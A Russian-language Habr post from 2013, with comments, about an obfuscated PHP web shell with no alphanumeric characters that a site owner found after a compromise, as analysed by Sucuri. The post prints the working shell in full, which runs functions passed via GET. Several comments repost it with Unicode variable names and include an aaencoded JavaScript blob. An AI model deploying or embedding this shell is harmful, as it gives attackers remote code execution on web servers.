Пользователь
0,0
рейтинг
16 сентября 2013 в 19:51

Разработка → PHP-шелл без единого буквенно-цифрового символа

Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.

Один из программистов Sucuri Йорман Ариас (Yorman Arias) расположил код в более удобочитаемом виде и облёк каждую строку кода в var_dump(), чтобы увидеть её вывод:

image

В итоге, используя туманные фразы вроде «some boolean magic » и анализируя код, приходит к выводу, что предназначение вредоноса — выполнение PHP-функций, который передаются ему при помощи GET-запроса.

Технические подробности — здесь.
Евгений @jeston
карма
80,2
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (33)

  • +58
    В источнике не менее интересный скрипт на JS в комментах.

    ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
    • +49
      Ух ты, сколько смайлов.
      • +18
        Это для отвода глаз. Пока этот скрипт улыбается творятся жуткие вещи.
        • +7
          По-моему, это: "(゚ー゚)+=(゚Θ゚)" — Винни Пух и Пятачок.
          • –5
            А по результату Винни имеет Пятачка )))
            • 0
              А мне кажется — тот, что слева, держит пистолет, направленный на того, что справа. Это объясняет самодовольную ухмылку у того, что слева, и испуганный вид того, что справа.
    • +5
      а еще давненько на хабре рассматривали скрипт, который обфусцирован до пробелов.
      • 0
        Найдете линк?
        • +15
          http://habrahabr.ru/post/112530/
          В самом конце.
          + там еще есть метод создания png c js кодом, извлечение и запись.
          • 0
            Ох люблю я эти вещи!
            Спасибо!
            • 0
              Да чего там любить-то? По факту это же не JS, он же не выполнится в браузере.
    • +2
      Знакомый вывод. Скорее всего вот источник.
      • 0
        так и есть
    • 0
      Вау. Это супер. Интересно что он делает…
      • 0
        Интересно что он делает. Нашел в соседнем коменте что делает. Отлично зашифровали. Жаль не успел отредактировать комент.
    • 0
      Боюсь предсказать, что он делает, а уж тем более запускать.

      Так что он делает?

      Уже посмотрел.
  • +3
    Вызов принят
  • 0
    может register_globals включить? и в get добавить параметр _=<значение>
    • 0
      такой шелл уже так легко не забросишь на чужой хостинг, т.к. везде register_globals выключен.
      а этот шелл будет работать на любом обычном хостинге.
      • НЛО прилетело и опубликовало эту надпись здесь
        • 0
          А вот это уже далеко не любой хостинг ;)
        • +2
          Что значит «правильно»? Отключение стандартных функций языка не может быть правильным. Оно может быть костылем, исправляющим ошибку в другом месте, но не правильным.
  • –15
    Няшка Няшка Няшка
    © Sheldon Lee Cooper
  • –19
    Но все-равно php — ни разу не perl, говорите…
    Python — рулит.
    • +3
      Ну да, ну да. Расшифровайте: http://bolknote.ru/2008/09/07/~1842/
      • –1
        если я ничего не перепутал, то возвращается строка «Писать на Перле можно на любом языке программирования»
  • +4
    Похожая штука на JS: www.jsfuck.com/
  • 0
    То ли из-за особенностей блогодвижка, то ли из-за недосмотра, то ли из-за неправильной настройки PHP то ли автор оригинального исследования, то ли автор скрипта (вряд ли)… Короче, кто-то пропустил один символ, и теперь этот код бросает Notice, что, как говорится, палевно.
  • 0
    =@`$c`

    Правда register_globals нужен
  • НЛО прилетело и опубликовало эту надпись здесь
  • +1
    Такой вариант интереснее смотрится.
    @$̓[]=@!+_; $͘=@${_}>>$̓;$̓[]=$͘;$̓[]=@_;$̓[((++$͘)+($͘++ ))].=$̓;
    $̓[]=++$͘; $̓[]=$̓[--$͘][$͘>>$͘];$̓[$͘].=(($͘+$͘)+ $̓[$͘-$͘]).($͘+$͘+$͘)+$̓[$͘-$͘];
    $̓[$͘+$͘] =($̓[$͘][$͘>>$͘]).($̓[$͘][$͘]^$̓[$͘][($͘<<$͘)-$͘] );
    $̓[$͘+$͘] .=($̓[$͘][($͘<<$͘)-($͘/$͘)])^($̓[$͘][$͘] );
    $̓[$͘+$͘] .=($̓[$͘][$͘+$͘])^$̓[$͘][($͘<<$͘)-$͘ ];
    $̓=$
    $̓[$͘+ $͘] ;$̓[@-_]($̓[@!+_] );
    
    • +7
      А так веселее
      @$ˊ͜ˋ[]=@!+_; $˶͜˵=@${_}>>$ˊ͜ˋ;$ˊ͜ˋ[]=$˶͜˵;$ˊ͜ˋ[]=@_;$ˊ͜ˋ[((++$˶͜˵)+($˶͜˵++ ))].=$ˊ͜ˋ;
      $ˊ͜ˋ[]=++$˶͜˵; $ˊ͜ˋ[]=$ˊ͜ˋ[--$˶͜˵][$˶͜˵>>$˶͜˵];$ˊ͜ˋ[$˶͜˵].=(($˶͜˵+$˶͜˵)+ $ˊ͜ˋ[$˶͜˵-$˶͜˵]).($˶͜˵+$˶͜˵+$˶͜˵)+$ˊ͜ˋ[$˶͜˵-$˶͜˵];
      $ˊ͜ˋ[$˶͜˵+$˶͜˵] =($ˊ͜ˋ[$˶͜˵][$˶͜˵>>$˶͜˵]).($ˊ͜ˋ[$˶͜˵][$˶͜˵]^$ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-$˶͜˵] );
      $ˊ͜ˋ[$˶͜˵+$˶͜˵] .=($ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-($˶͜˵/$˶͜˵)])^($ˊ͜ˋ[$˶͜˵][$˶͜˵] );
      $ˊ͜ˋ[$˶͜˵+$˶͜˵] .=($ˊ͜ˋ[$˶͜˵][$˶͜˵+$˶͜˵])^$ˊ͜ˋ[$˶͜˵][($˶͜˵<<$˶͜˵)-$˶͜˵ ];
      $ˊ͜ˋ=$
      $ˊ͜ˋ[$˶͜˵+ $˶͜˵] ;$ˊ͜ˋ[@-_]($ˊ͜ˋ[@!+_] );
      
  • 0
    А для Perl даже есть модуль специальны, чтобы так делать: Acme::EyeDrops

    А вообще-то, сейчас брейнфак и подобные языки очень сильно уступают Chicken

    Подробную презентацию языка, которая будет понятна даже без знания английского, можно посмотреть тут:

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.